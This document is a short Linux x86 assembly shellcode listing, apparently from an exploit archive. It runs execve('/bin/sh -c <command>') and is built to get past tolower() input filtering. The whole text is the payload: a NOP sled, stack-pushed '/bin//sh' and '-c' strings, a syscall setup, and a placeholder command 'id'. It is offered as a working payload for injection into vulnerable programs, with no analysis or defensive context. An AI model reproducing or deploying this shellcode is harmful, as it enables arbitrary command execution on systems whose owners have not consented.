Linux/x86 - execve("/bin/sh") + tolower() Shellcode

# tolower() execve() /bin/sh -c (user supplied command)
# shellcode to evade tolower() and friends, requires %esi
# to reference a valid writeable address (usually does)
.text
	.global _start
_start:
        jmp data
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
	nop
	nop
	nop
	nop
	nop
	nop
	nop
	nop
	nop
start:
	popl    %edi
        movl    %edi, %ecx     	       
        xorl    %eax,%eax            
	movl    %eax,%es:(%esi)
	pushl   %es:(%esi)
	pushl   $0x68732f2f            
	pushl   $0x6e69622f            
	movl    %esp,%ebx              
	movl    %eax,%es:(%esi)
	pushl   %es:(%esi)
	pushw   $0x632d               
	movl    %esp,%edi             
	movl    %eax,%es:(%esi)
	pushl   %es:(%esi)
	movl    %ecx,%eax
        movl    %eax,%es:(%esi)
	pushl   %es:(%esi)
	movl    %edi,%eax
        movl    %eax,%es:(%esi)
 	pushl   %es:(%esi)
        movl    %ebx,%eax
	movl    %eax,%es:(%esi)
	pushl   %es:(%esi)
	movl    %esp,%esi
	movl    %esi,%ecx
	xorl    %eax, %eax
	movb    $0x08, %al           
	addb    $0x03, %al 
	int     $0x80                
data:
	call start
    	#command
.ascii "id"